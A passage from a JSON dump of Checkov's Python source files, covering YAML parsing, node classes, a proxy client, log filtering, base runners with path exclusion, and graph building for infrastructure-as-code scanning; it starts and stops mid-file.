isinstance(v, list):\n                        if len(v) == 3:\n                            for i, if_v in enumerate(v[1:]):\n                                if isinstance(if_v, DictNode):\n                                    # yield from if_v.items_safe(path[:] + [k, i - 1])\n                                    # Python 2.7 support\n                                    for items, p in if_v.items_safe(path[:] + [k, i + 1]):\n                                        if isinstance(items, type_t) or not type_t:\n                                            yield items, p\n                                elif isinstance(if_v, list):\n                                    if isinstance(if_v, type_t) or not type_t:\n                                        yield if_v, path[:] + [k, i + 1]\n                                else:\n                                    if isinstance(if_v, type_t) or not type_t:\n                                        yield if_v, path[:] + [k, i + 1]\n                elif not (k == 'Ref' and v == 'AWS::NoValue'):\n                    if isinstance(self, type_t) or not type_t:\n                        yield self, path[:]\n        else:\n            if isinstance(self, type_t) or not type_t:\n                yield self, path[:]\n\n    @staticmethod\n    def deep_merge(dict1: DictNode, dict2: DictNode) -> DictNode:\n        \"\"\"\n        Performs a deep merge of dict1 and dict2, giving preference to values in dict1.\n        :param dict1: First DictNode object, whose values have higher precedence.\n        :param dict2: Second DictNode object, to be merged with the first one.\n        :return: A new DictNode object with the deep merged values.\n        \"\"\"\n        # Create a new DictNode for the merged result, initially empty.\n        merged = DictNode({}, dict1.start_mark, dict1.end_mark)\n\n        # Add all items from dict2 to the merged DictNode.\n        for key, value in dict2.items():\n            merged[key] = pickle_deepcopy(value)\n\n        # Merge items from dict1, giving them precedence.\n        for key, value in dict1.items():\n            if key in dict2:\n                if isinstance(value, DictNode) and isinstance(dict2[key], DictNode):\n                    # If both values are DictNodes, merge recursively.\n                    merged[key] = DictNode.deep_merge(value, dict2[key])\n                elif isinstance(value, ListNode) and isinstance(dict2[key], ListNode):\n                    # If both values are ListNodes, prepend the items from dict2's ListNode to dict1's ListNode.\n                    merged[key] = ListNode(pickle_deepcopy(dict2[key]) + value, dict1.start_mark, dict1.end_mark)\n                else:\n                    # If they are not both DictNodes or both ListNodes, the value from dict1 takes precedence.\n                    merged[key] = value\n            else:\n                # If the key is only in dict1, directly copy the item from dict1.\n                merged[key] = value\n\n        return merged\n\n    def __getattr__(self, name: str) -> Any:\n        raise TemplateAttributeError(f'{name} is invalid')\n\n\nclass ListNode(list):  # type:ignore[type-arg]  # either typing works or runtime, but not both\n    \"\"\"Node class created based on the input class\"\"\"\n\n    def __init__(self, x: list[Any], start_mark: Mark | Any, end_mark: Mark | Any) -> None:\n        try:\n            super().__init__(x)\n        except TypeError:\n            super().__init__()\n        self.start_mark = start_mark\n        self.end_mark = end_mark\n        self.condition_functions = ['Fn::If']\n\n    def __deepcopy__(self, memo: dict[int, Any]) -> ListNode:\n        result = ListNode([], self.start_mark, self.end_mark)\n        memo[id(self)] = result\n        for v in self:\n            result.append(deepcopy(v, memo))\n\n        return result\n\n    def __copy__(self) -> ListNode:\n        return self\n\n    def items_safe(\n        self, path: list[int | str] | None = None, type_t: Type[tuple[Any, ...]] = tuple\n    ) -> Generator[tuple[Any, ...], Any, None]:\n        \"\"\"Get items while handling IFs\"\"\"\n\n        path = path or []\n        for i, v in enumerate(self):\n            if isinstance(v, DictNode):\n                for items, p in v.items_safe(path[:] + [i]):\n                    if isinstance(items, type_t) or not type_t:\n                        yield items, p\n            else:\n                if isinstance(v, type_t) or not type_t:\n                    yield v, path[:] + [i]\n\n    def __getattr__(self, name: str) -> Any:\n        raise TemplateAttributeError(f'{name} is invalid')\n"
  },
  {
    "path": "checkov/common/parsers/yaml/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/parsers/yaml/loader.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom collections.abc import Hashable\nfrom pathlib import Path\nfrom typing import Any, TYPE_CHECKING\n\nimport yaml\nfrom yaml.loader import SafeLoader\n\nfrom checkov.common.util.file_utils import read_file_with_any_encoding\n\nif TYPE_CHECKING:\n    from yaml import MappingNode\n\n\ndef loads(content: str) -> list[dict[str, Any]]:\n    \"\"\"\n    Load the given YAML string\n    \"\"\"\n    try:\n        template = list(yaml.load_all(content, Loader=SafeLineLoader))\n    except Exception as e:\n        logging.debug(f'Fail to load yaml content, {e}')\n        template = [None]\n    # Convert an empty file to an empty dict\n    if template is None:\n        template = {}\n    return template\n\n\ndef load(filename: str | Path, content: str | None = None) -> tuple[list[dict[str, Any]], list[tuple[int, str]]]:\n    \"\"\"\n    Load the given YAML file\n    \"\"\"\n\n    if not content:\n        content = read_file_with_any_encoding(file_path=filename)\n\n    file_lines = [(idx + 1, line) for idx, line in enumerate(content.splitlines(keepends=True))]\n\n    template = loads(content)\n\n    return template, file_lines\n\n\nclass SafeLineLoader(SafeLoader):\n    def construct_mapping(self, node: MappingNode, deep: bool = False) -> dict[Hashable, Any]:\n        mapping = super().construct_mapping(node, deep=deep)\n        # Add 1 so line numbering starts at 1\n        # mapping['__line__'] = node.start_mark.line + 1\n        mapping['__startline__'] = node.start_mark.line + 1\n        mapping['__endline__'] = node.end_mark.line + 1\n        return mapping\n\n    bool_values = {  # noqa: CCE003  # used to override the SafeLoader default behaviour\n        'yes': True,\n        'no': False,\n        'true': True,\n        'false': False,\n        # GHA workflow files have a saved word for \"on\". Since we have policies inspecting the \"on\" section we need\n        # to keep the string value.\n        'on': 'on',  # type:ignore[dict-item]\n        'off': False,\n    }\n\n\nclass SafeLineLoaderGhaSchema(SafeLoader):\n    def construct_mapping(self, node: MappingNode, deep: bool = False) -> dict[Hashable, Any]:\n        return super().construct_mapping(node, deep=deep)\n\n    bool_values = {  # noqa: CCE003  # used to override the SafeLoader default behaviour\n        'on': 'on',  # type:ignore[dict-item]\n        'off': 'off',  # type:ignore[dict-item]\n        'yes': 'true',  # type:ignore[dict-item]\n        'no': 'false',  # type:ignore[dict-item]\n        'true': 'true',  # type:ignore[dict-item]\n        'false': 'false'  # type:ignore[dict-item]\n    }\n"
  },
  {
    "path": "checkov/common/parsers/yaml/parser.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom typing import Any\n\nfrom yaml import YAMLError\n\nimport checkov.common.parsers.yaml.loader as loader\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\n\nlogger = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(logger)\n\n\ndef parse(\n    filename: str, file_content: str | None = None\n) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None:\n    template = None\n    template_lines = None\n    try:\n        if filename.endswith(\".yaml\") or filename.endswith(\".yml\"):\n            template, template_lines = loader.load(filename, file_content)\n\n        if template and template_lines:\n            if isinstance(template, list):\n                for t in template:\n                    if t and isinstance(t, (list, dict)):\n                        return t, template_lines\n            else:\n                return None\n        else:\n            return None\n    except IOError as e:\n        if e.errno == 2:\n            logger.error(f\"Template file not found: {filename}\")\n            return None\n        elif e.errno == 21:\n            logger.error(f\"Template references a directory, not a file: {filename}\")\n            return None\n        elif e.errno == 13:\n            logger.error(f\"Permission denied when accessing template file: {filename}\")\n            return None\n    except UnicodeDecodeError:\n        logger.error(f\"Cannot read file contents: {filename}\")\n        return None\n    except YAMLError:\n        if filename.endswith(\".yaml\") or filename.endswith(\".yml\"):\n            logger.debug(f\"Cannot read file contents: {filename} - is it a yaml?\")\n        return None\n\n    return None\n"
  },
  {
    "path": "checkov/common/proxy/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/proxy/proxy_client.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom typing import Any\n\nimport requests\n\n\nclass ProxyClient:\n    def __init__(self) -> None:\n        self.identity = os.getenv('PROXY_HEADER_VALUE')\n        self.proxy_ca_path = os.getenv('PROXY_CA_PATH')\n        if self.proxy_ca_path is None:\n            logging.warning(\"[ProxyClient] CA certificate path is missing\")\n\n    def get_session(self) -> requests.Session:\n        if not os.getenv('PROXY_URL'):\n            logging.warning('Please provide \"PROXY_URL\" env var')\n        proxy_url = os.getenv('PROXY_URL')\n        session = requests.Session()\n        proxies = {\n            \"http\": proxy_url,\n            \"https\": proxy_url,\n        }\n        session.proxies.update(proxies)  # type: ignore\n        return session\n\n    def update_request_header(self, request: requests.Request) -> None:\n        if os.getenv('PROXY_HEADER_KEY'):\n            request.headers[os.getenv('PROXY_HEADER_KEY')] = self.identity\n\n    def send_request(self, request: requests.Request) -> requests.Response:\n        session = self.get_session()\n        self.update_request_header(request=request)\n        prepared_request = session.prepare_request(request)\n        return session.send(prepared_request, verify=self.proxy_ca_path)\n\n\ndef call_http_request_with_proxy(request: requests.Request) -> Any:\n    proxy_client = ProxyClient()\n    return proxy_client.send_request(request=request)\n"
  },
  {
    "path": "checkov/common/resource_code_logger_filter.py",
    "content": "from __future__ import annotations\n\nimport os\nfrom logging import Logger, Filter, LogRecord\n\nfrom checkov.common.util.type_forcers import convert_str_to_bool\n\n\nclass ResourceCodeFilter(Filter):\n    \"\"\"\n    A custom logger filter designed to decide if we want to filter some logs from the default logger.\n    Could be used to reduce logs size.\n    First use case is to log without the actual code of resources, which takes a lot of the logs size.\n    The default is to log everything in order to keep api the same.\n    \"\"\"\n    CODE_TEMPLATES: list[str] = []\n\n    def __init__(self, allow_code_logging: bool = True):\n        super().__init__()\n        self.allow_code_logging = allow_code_logging\n\n    def filter(self, record: LogRecord) -> bool:\n        if self.allow_code_logging:\n            return True\n        if hasattr(record, \"mask\"):\n            # Allows filtering using `logging.info(\"<msg>\", extra={\"mask\": True})`\n            mask = record.mask\n            if not isinstance(mask, bool):\n                raise Exception(f\"Expected to get `mask` as boolean for logging function, instead got: {mask} of type {type(mask)}\")\n            return not record.mask\n\n        msg = record.msg\n        return self._filter_based_on_msg(msg)\n\n    def _filter_based_on_msg(self, msg: str) -> bool:\n        for code_template in ResourceCodeFilter.CODE_TEMPLATES:\n            if code_template in msg:\n                return False\n        return True\n\n\ndef add_resource_code_filter_to_logger(logger: Logger, allow_code_logging: bool | None = None) -> None:\n    if allow_code_logging is None:\n        allow_code_logging_res = convert_str_to_bool(os.environ.get(\"CHECKOV_ALLOW_CODE_LOGGING\", True))\n        if isinstance(allow_code_logging_res, bool):\n            allow_code_logging = allow_code_logging_res\n        else:\n            raise Exception(f\"Failed to get correct result for env variable - `CHECKOV_ALLOW_CODE_LOGGING`. \"\n                            f\"Got {allow_code_logging_res}\")\n\n    resource_code_filter = ResourceCodeFilter(allow_code_logging=allow_code_logging)\n    logger.addFilter(resource_code_filter)\n"
  },
  {
    "path": "checkov/common/runners/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/runners/base_post_runner.py",
    "content": "from __future__ import annotations\n\nfrom abc import ABC, abstractmethod\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.util.tqdm_utils import ProgressBar\n\nfrom checkov.common.output.report import Report\nfrom checkov.policies_3d.checks_infra.base_check import Base3dPolicyCheck\nfrom checkov.runner_filter import RunnerFilter\n\nif TYPE_CHECKING:\n    from checkov.common.graph.graph_manager import GraphManager  # noqa\n\n\nclass BasePostRunner(ABC):\n    check_type = ''  # noqa: CCE003  # a static attribute\n\n    def __init__(self) -> None:\n        self.pbar = ProgressBar(self.check_type)\n\n    @abstractmethod\n    def run(\n            self,\n            checks: list[BaseCheck | Base3dPolicyCheck],\n            scan_reports: list[Report],\n            runner_filter: RunnerFilter | None = None\n    ) -> Report:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/common/runners/base_runner.py",
    "content": "from __future__ import annotations\n\nimport itertools\nimport logging\nimport os\nimport re\nfrom abc import ABC, abstractmethod\nfrom collections.abc import Iterable\nfrom typing import List, Any, TYPE_CHECKING, TypeVar, Generic, Dict, Optional\n\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.common.util.tqdm_utils import ProgressBar\n\nfrom checkov.common.graph.checks_infra.base_check import BaseGraphCheck\nfrom checkov.common.output.report import Report\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.common.graph.graph_manager import GraphManager  # noqa\n\nif TYPE_CHECKING:\n    from checkov.common.checks_infra.registry import Registry\n    from checkov.common.graph.checks_infra.registry import BaseRegistry\n    from checkov.common.typing import _CheckResult, LibraryGraphConnector, LibraryGraph\n\n_Context = TypeVar(\"_Context\", bound=\"dict[Any, Any]|None\")\n_Definitions = TypeVar(\"_Definitions\", bound=\"dict[Any, Any]|None\")\n_GraphManager = TypeVar(\"_GraphManager\", bound=\"GraphManager[Any, Any]|None\")\n\n\ndef strtobool(val: str) -> int:\n    \"\"\"Convert a string representation of truth to true (1) or false (0).\n\n    True values are 'y', 'yes', 't', 'true', 'on', and '1'; false values\n    are 'n', 'no', 'f', 'false', 'off', and '0'.  Raises ValueError if\n    'val' is anything else.\n    \"\"\"\n    val = val.lower()\n    if val in ('y', 'yes', 't', 'true', 'on', '1'):\n        return 1\n    elif val in ('n', 'no', 'f', 'false', 'off', '0'):\n        return 0\n    else:\n        raise ValueError(\"invalid boolean value %r for environment variable CKV_IGNORE_HIDDEN_DIRECTORIES\" % (val,))\n\n\nIGNORED_DIRECTORIES_ENV = os.getenv(\"CKV_IGNORED_DIRECTORIES\", \"node_modules,.terraform,.serverless\")\nIGNORE_HIDDEN_DIRECTORY_ENV = strtobool(os.getenv(\"CKV_IGNORE_HIDDEN_DIRECTORIES\", \"True\"))\n\nignored_directories = IGNORED_DIRECTORIES_ENV.split(\",\")\n\n\nclass BaseRunner(ABC, Generic[_Definitions, _Context, _GraphManager]):\n    check_type = \"\"\n    definitions: _Definitions | None = None\n    raw_definitions: dict[str, list[tuple[int, str]]] | None = None\n    context: _Context | None = None\n    breadcrumbs = None\n    external_registries: list[BaseRegistry] | None = None\n    graph_manager: _GraphManager | None = None\n    graph_registry: Registry | None = None\n    db_connector: LibraryGraphConnector\n    resource_subgraph_map: Optional[dict[str, str]] = None\n\n    def __init__(self, file_extensions: Iterable[str] | None = None, file_names: Iterable[str] | None = None):\n        self.file_extensions = file_extensions or []\n        self.file_names = file_names or []\n        self.pbar = ProgressBar(self.check_type)\n        db_connector_class: \"type[NetworkxConnector | RustworkxConnector]\" = NetworkxConnector\n        graph_framework = os.getenv(\"CHECKOV_GRAPH_FRAMEWORK\", \"RUSTWORKX\")\n        if graph_framework == \"RUSTWORKX\":\n            from checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector\n            db_connector_class = RustworkxConnector\n\n        self.db_connector = db_connector_class()\n\n    @abstractmethod\n    def run(\n            self,\n            root_folder: str | None,\n            external_checks_dir: list[str] | None = None,\n            files: list[str] | None = None,\n            runner_filter: RunnerFilter | None = None,\n            collect_skip_comments: bool = True,\n    ) -> Report | list[Report]:\n        pass\n\n    def should_scan_file(self, filename: str) -> bool:\n        # runners that are always applicable can do nothing and be included\n        if not self.file_extensions and not self.file_names:\n            return True\n\n        basename = os.path.basename(filename)\n        if basename and self.file_names and basename in self.file_names:\n            return True\n\n        extension = os.path.splitext(filename)[1]\n        if extension and self.file_extensions and extension in self.file_extensions:\n            return True\n\n        return False\n\n    def included_paths(self) -> Iterable[str]:\n        return []\n\n    def set_external_data(\n            self,\n            definitions: _Definitions | None,\n            context: _Context | None,\n            breadcrumbs: dict[str, dict[str, Any]] | None,\n            **kwargs: Any,\n    ) -> None:\n        self.definitions = definitions\n        self.context = context\n        self.breadcrumbs = breadcrumbs\n\n    def set_raw_definitions(self, definitions_raw: dict[str, list[tuple[int, str]]] | None) -> None:\n        self.definitions_raw = definitions_raw\n\n    def populate_metadata_dict(self) -> None:\n        return None\n\n    def load_external_checks(self, external_checks_dir: List[str]) -> None:\n        return None\n\n    def get_graph_checks_report(self, root_folder: str, runner_filter: RunnerFilter) -> Report:\n        return Report(check_type=\"not_defined\")\n\n    def run_graph_checks_results(self, runner_filter: RunnerFilter, report_type: str, graph: LibraryGraph | None = None\n                                 ) -> dict[BaseGraphCheck, list[_CheckResult]]:\n        checks_results: \"dict[BaseGraphCheck, list[_CheckResult]]\" = {}\n        if graph is None and (not self.graph_manager or not self.graph_registry):\n            # should not happen\n            logging.warning(\"Graph components were not initialized\")\n            return checks_results\n\n        if graph is None and isinstance(self.graph_manager, GraphManager):\n            graph = self.graph_manager.get_reader_endpoint()\n        for r in itertools.chain(self.external_registries or [], [self.graph_registry]):\n            r.load_checks()  # type:ignore[union-attr]\n            registry_results = r.run_checks(graph, runner_filter, report_type)  # type:ignore[union-attr]\n            checks_results = {**checks_results, **registry_results}\n        # Filtering the checks now\n        filtered_result: Dict[BaseGraphCheck, List[_CheckResult]] = {}\n        for check, results in checks_results.items():\n            filtered_result[check] = [result for result in results if runner_filter.should_run_check(\n                check,\n                check_id=check.id,\n                file_origin_paths=[result.get(\"entity\", {}).get(CustomAttributes.FILE_PATH, \"\")],\n                report_type=self.check_type\n            )]\n\n        self._update_check_correct_connected_node(filtered_result)\n\n        return filtered_result\n\n    @staticmethod\n    def _extract_relevant_resource_types(check_connected_resource_types: list[tuple[str]],\n                                         connected_nodes_per_resource_types: dict[tuple[str], Any]) ->\\\n            tuple[str] | None:\n        return next((resource_types for resource_types in check_connected_resource_types\n                     if resource_types in connected_nodes_per_resource_types), None)\n\n    @staticmethod\n    def _get_connected_resources_types_with_subchecks(check: BaseGraphCheck) -> list[tuple[str]]:\n        resource_types_tuples: list[tuple[str]] = []\n        for sub_check in check.sub_checks:\n            resource_types_tuples.append(tuple(sub_check.connected_resources_types))  # type: ignore\n            resource_types_tuples.extend(\n                BaseRunner._get_connected_resources_types_with_subchecks(sub_check))  # Recursive call\n        return resource_types_tuples\n\n    @staticmethod\n    def _update_check_correct_connected_node(filtered_result: dict[BaseGraphCheck, list[_CheckResult]]) -> None:\n        \"\"\"\n        Responsible for choosing the correct connected node per check (if exists), as every graph check may refer to\n        a different connection that a resource might have.\n        Before: connected_node could be a dict[tuple[resource_types], attributes].\n        After: connected_node == attributes (of relevant connected node)\n        \"\"\"\n        for check, results in filtered_result.items():\n            for result in results:\n                result[\"entity\"] = pickle_deepcopy(result[\"entity\"])  # Important to avoid changes between checks\n                connected_node = result.get(\"entity\", {}).get(CustomAttributes.CONNECTED_NODE)\n                if connected_node is None:\n                    continue\n\n                check_connected_resource_types = BaseRunner._get_connected_resources_types_with_subchecks(check)\n\n                check_relevant_connected_resource_types = BaseRunner._extract_relevant_resource_types(\n                    check_connected_resource_types, connected_node)\n\n                if check_relevant_connected_resource_types and \\\n                        check_relevant_connected_resource_types in connected_node:\n                    result[\"entity\"][CustomAttributes.CONNECTED_NODE] = \\\n                        connected_node[check_relevant_connected_resource_types]\n                else:\n                    result[\"entity\"][CustomAttributes.CONNECTED_NODE] = None\n\n\ndef filter_ignored_paths(\n    root_dir: str,\n    names: list[str] | list[os.DirEntry[str]],\n    excluded_paths: list[str] | None,\n    included_paths: Iterable[str] | None = None\n) -> None:\n    # we need to handle legacy logic, where directories to skip could be specified using the env var (default value above)\n    # or a directory starting with '.'; these look only at directory basenames, not relative paths.\n    #\n    # But then any other excluded paths (specified via --skip-path or via the platform repo settings) should look at\n    # the path name relative to the root folder. These can be files or directories.\n    # Example: take the following dir tree:\n    # .\n    #   ./dir1\n    #      ./dir1/dir33\n    #      ./dir1/.terraform\n    #   ./dir2\n    #      ./dir2/dir33\n    #      /.dir2/hello.yaml\n    #\n    # if excluded_paths = ['dir1/dir33', 'dir2/hello.yaml'], then we would scan dir1, but we would skip its subdirectories. We would scan\n    # dir2 and its subdirectory, but we'd skip hello.yaml.\n\n    # first handle the legacy logic - this will also remove files starting with '.' but that's probably fine\n    # mostly this will just remove those problematic directories hardcoded above.\n    included_paths = included_paths or []\n    for entry in list(names):\n        cur_path: str = str(entry.name) if isinstance(entry, os.DirEntry) else str(entry)\n        if cur_path in ignored_directories:\n            safe_remove(names, entry)\n        if cur_path.startswith(\".\") and IGNORE_HIDDEN_DIRECTORY_ENV and cur_path not in included_paths:\n            safe_remove(names, entry)\n\n    # now apply the new logic\n    # TODO this is not going to work well on Windows, because paths specified in the platform will use /, and\n    #  paths specified via the CLI argument will presumably use \\\\\n    if excluded_paths:\n        compiled = []\n        for p in excluded_paths:\n            try:\n                compiled.append(re.compile(re.escape(p) if re.match(r'^\\.[^\\.]', p) else p))\n            except re.error:\n                # do not add compiled paths that aren't regexes\n                continue\n        for entry in list(names):\n            path: str = str(entry.name) if isinstance(entry, os.DirEntry) else str(entry)\n            full_path = os.path.join(root_dir, path)\n            if any(pattern.search(full_path) for pattern in compiled) or any(p in full_path for p in excluded_paths):\n                safe_remove(names, entry)\n\n\ndef safe_remove(names: list[Any], path: Any) -> None:\n    if path in names:\n        names.remove(path)\n"
  },
  {
    "path": "checkov/common/runners/graph_builder/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/runners/graph_builder/local_graph.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom abc import abstractmethod\nfrom pathlib import Path\nfrom typing import Any\n\nfrom checkov.common.graph.graph_builder import Edge\nfrom checkov.common.graph.graph_builder.graph_components.blocks import Block\nfrom checkov.common.graph.graph_builder.local_graph import LocalGraph\n\n\nclass ObjectLocalGraph(LocalGraph[Block]):\n    def __init__(self, definitions: dict[str | Path, dict[str, Any] | list[dict[str, Any]]]) -> None:\n        super().__init__()\n        self.vertices: list[Block] = []\n        self.definitions = definitions\n        self.vertices_by_path_and_name: dict[tuple[str, str], int] = {}\n\n    def build_graph(self, render_variables: bool = False) -> None:\n        self._create_vertices()\n        logging.debug(f\"[{self.__class__.__name__}] created {len(self.vertices)} vertices\")\n\n        for i, vertex in enumerate(self.vertices):\n            self.vertices_by_block_type[vertex.block_type].append(i)\n            self.vertices_block_name_map[vertex.block_type][vertex.name].append(i)\n            self.vertices_by_path_and_name[(vertex.path, vertex.name)] = i\n\n            self.in_edges[i] = []\n            self.out_edges[i] = []\n\n        self._create_edges()\n        logging.debug(f\"[{self.__class__.__name__}] created {len(self.edges)} edges\")\n\n    @abstractmethod\n    def _create_vertices(self) -> None:\n        pass\n\n    @abstractmethod\n    def _create_edges(self) -> None:\n        pass\n\n    def _create_edge(self, origin_vertex_index: int, dest_vertex_index: int, label: str = \"default\") -> None:\n        if origin_vertex_index == dest_vertex_index:\n            # this should not happen\n            return\n\n        edge = Edge(origin_vertex_index, dest_vertex_index, label)\n        self.edges.append(edge)\n        self.out_edges[origin_vertex_index].append(edge)\n        self.in_edges[dest_vertex_index].append(edge)\n\n    @staticmethod\n    @abstractmethod\n    def get_files_definitions(root_folder: str | Path) -> dict[str | Path, dict[str, Any] | list[dict[str, Any]]]:\n        \"\"\"This is temporary till I have a better idea\"\"\"\n        pass\n"
  },
  {
    "path": "checkov/common/runners/graph_manager.py",
    "content": "from __future__ import annotations\n\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING, Any, Optional\n\nfrom checkov.common.runners.graph_builder.local_graph import ObjectLocalGraph\nfrom checkov.common.graph.graph_manager import GraphManager\n\nif TYPE_CHECKING:\n    from checkov.common.typing import LibraryGraphConnector\n    from checkov.common.graph.graph_builder.graph_components.blocks import Block  # noqa\n\n\nclass ObjectGraphManager(GraphManager[ObjectLocalGraph, \"dict[str | Path, dict[str, Any] | list[dict[str, Any]]]\"]):\n    def __init__(self, db_connector: LibraryGraphConnector, source: str) -> None:\n        super().__init__(db_connector=db_connector, parser=None, source=source)\n\n    def build_graph_from_source_directory(\n        self,\n        source_dir: str,\n        local_graph_class: type[ObjectLocalGraph] = ObjectLocalGraph,\n        render_variables: bool = True,\n        parsing_errors: Optional[dict[str, Exception]] = None,\n        download_external_modules: Optional[bool] = False,\n        excluded_paths: Optional[list[str]] = None,\n        **kwargs: Any,\n    ) -> tuple[ObjectLocalGraph, dict[str | Path, dict[str, Any] | list[dict[str, Any]]]]:\n        definitions = local_graph_class.get_files_definitions(root_folder=source_dir)\n        local_graph = self.build_graph_from_definitions(definitions=definitions, graph_class=local_graph_class)\n\n        return local_graph, definitions\n\n    def build_graph_from_definitions(\n        self,\n        definitions: dict[str | Path, dict[str, Any] | list[dict[str, Any]]],\n        render_variables: bool = False,\n        graph_class: type[ObjectLocalGraph] = ObjectLocalGraph,\n    ) -> ObjectLocalGraph:\n        local_graph = graph_class(definitions)\n        local_graph.build_graph(render_variables)\n        return local_graph\n"
  },
  {
    "path": "checkov/common/runners/object_runner.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nimport platform\n\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom pathlib import Path\nfrom typing import Any, TYPE_CHECKING, Callable, TypedDict\nfrom typing_extensions import TypeAlias  # noqa[TC002]\n\nfrom checkov.common.checks_infra.registry import get_graph_checks_registry\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.typing import LibraryGraphConnector\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.output.github_actions_record import GithubActionsRecord\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report, CheckType\nfrom checkov.common.parallelizer.parallel_runner import parallel_runner\nfrom checkov.common.runners.base_runner import BaseRunner, filter_ignored_paths\nfrom checkov.common.runners.graph_manager import ObjectGraphManager\nfrom checkov.common.typing import _CheckResult\nfrom checkov.common.util.consts import START_LINE, END_LINE\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.common.util.suppression import collect_suppressions_for_context\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check_registry import BaseCheckRegistry\n    from checkov.common.graph.checks_infra.base_check import BaseGraphCheck\n    from checkov.common.runners.graph_builder.local_graph import ObjectLocalGraph\n\n_ObjectContext: TypeAlias = \"dict[str, dict[str, Any]]\"\n_ObjectDefinitions: TypeAlias = \"dict[str, dict[str, Any] | list[dict[str, Any]]]\"\n\n\nclass GhaMetadata(TypedDict):\n    triggers: set[str]\n    workflow_name: str\n    jobs: dict[int, str]\n\n\nclass Runner(BaseRunner[_ObjectDefinitions, _ObjectContext, ObjectGraphManager]):\n    def __init__(\n        self,\n        db_connector: LibraryGraphConnector | None = None,\n        source: str | None = None,\n        graph_class: type[ObjectLocalGraph] | None = None,\n        graph_manager: ObjectGraphManager | None = None,\n    ) -> None:\n        super().__init__()\n        self.definitions: _ObjectDefinitions = {}\n        self.definitions_raw: dict[str, list[tuple[int, str]]] = {}\n        self.context: _ObjectContext | None = None\n        self.map_file_path_to_gha_metadata_dict: dict[str, GhaMetadata] = {}\n        self.root_folder: str | None = None\n\n        if source and graph_class:\n            # if they are not all set, then ignore it\n            db_connector = db_connector or self.db_connector\n            self.source = source\n            self.graph_class = graph_class\n            self.graph_manager = (\n                graph_manager if graph_manager else ObjectGraphManager(source=self.source, db_connector=db_connector)\n            )\n            self.graph_registry = get_graph_checks_registry(self.check_type)\n\n    def _load_files(\n            self,\n            files_to_load: list[str],\n            filename_fn: Callable[[str], str] | None = None,\n    ) -> None:\n        files_to_load = [filename_fn(file) if filename_fn else file for file in files_to_load]\n        results = parallel_runner.run_function(lambda f: (f, self._parse_file(f)), files_to_load)\n        for file_result_pair in results:\n            if file_result_pair is None:\n                # this only happens, when an uncaught exception occurs\n                continue\n\n            file, result = file_result_pair\n            if result:\n                (self.definitions[file], self.definitions_raw[file]) = result\n                definition = result[0]\n                if self.check_type == CheckType.GITHUB_ACTIONS and isinstance(definition, dict):\n                    workflow_name = definition.get('name', '')\n                    triggers = self._get_triggers(definition)\n                    jobs = self._get_jobs(definition)\n                    self.map_file_path_to_gha_metadata_dict[file] = \\\n                        {\"triggers\": triggers, \"workflow_name\": workflow_name, \"jobs\": jobs}\n\n    @staticmethod\n    @abstractmethod\n    def _parse_file(f: str) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None:\n        raise Exception(\"parser should be imported by deriving class\")\n\n    def run(\n            self,\n            root_folder: str | None = None,\n            external_checks_dir: list[str] | None = None,\n            files: list[str] | None = None,\n            runner_filter: RunnerFilter | None = None,\n            collect_skip_comments: bool = True,\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        if not runner_filter.show_progress_bar:\n            self.pbar.turn_off_progress_bar()\n\n        registry = self.import_registry()\n\n        report = Report(self.check_type)\n\n        if not files and not root_folder:\n            logging.debug(\"No resources to scan.\")\n            return report\n\n        if not external_checks_dir and self.require_external_checks():\n            logging.debug(\"The runner requires that external checks are defined.\")\n            return report\n        if external_checks_dir:\n            for directory in external_checks_dir:\n                registry.load_external_checks(directory)\n\n                if self.graph_registry:\n                    self.graph_registry.load_external_checks(directory)\n\n        if root_folder:\n            self.root_folder = root_folder\n\n        if not self.context or not self.definitions:\n            if files:\n                self._load_files(files)\n            if root_folder:\n                for root, d_names, f_names in os.walk(root_folder):\n                    filter_ignored_paths(root, d_names, runner_filter.excluded_paths, self.included_paths())\n                    filter_ignored_paths(root, f_names, runner_filter.excluded_paths, self.included_paths())\n                    files_to_load = [os.path.join(root, f_name) for f_name in f_names]\n                    self._load_files(files_to_load=files_to_load)\n\n            self.context = self.build_definitions_context(definitions=self.definitions, definitions_raw=self.definitions_raw)\n\n            if self.graph_registry and self.graph_manager:\n                logging.info(f\"Creating {self.source} graph\")\n                local_graph = self.graph_manager.build_graph_from_definitions(\n                    definitions=self.definitions, graph_class=self.graph_class  # type:ignore[arg-type]  # the paths are just `str`\n                )\n\n                logging.info(f\"Successfully created {self.source} graph\")\n\n                self.graph_manager.save_graph(local_graph)\n        else:\n            logging.info(\"Going to use existing graph\")\n            self.populate_metadata_dict()\n\n        self.pbar.initiate(len(self.definitions))\n\n        # run Python checks\n        self.add_python_check_results(report=report, registry=registry, runner_filter=runner_filter, root_folder=root_folder)\n\n        # run graph checks\n        if self.graph_registry:\n            self.add_graph_check_results(report=report, runner_filter=runner_filter)\n\n        return report\n\n    def add_python_check_results(\n        self, report: Report, registry: BaseCheckRegistry, 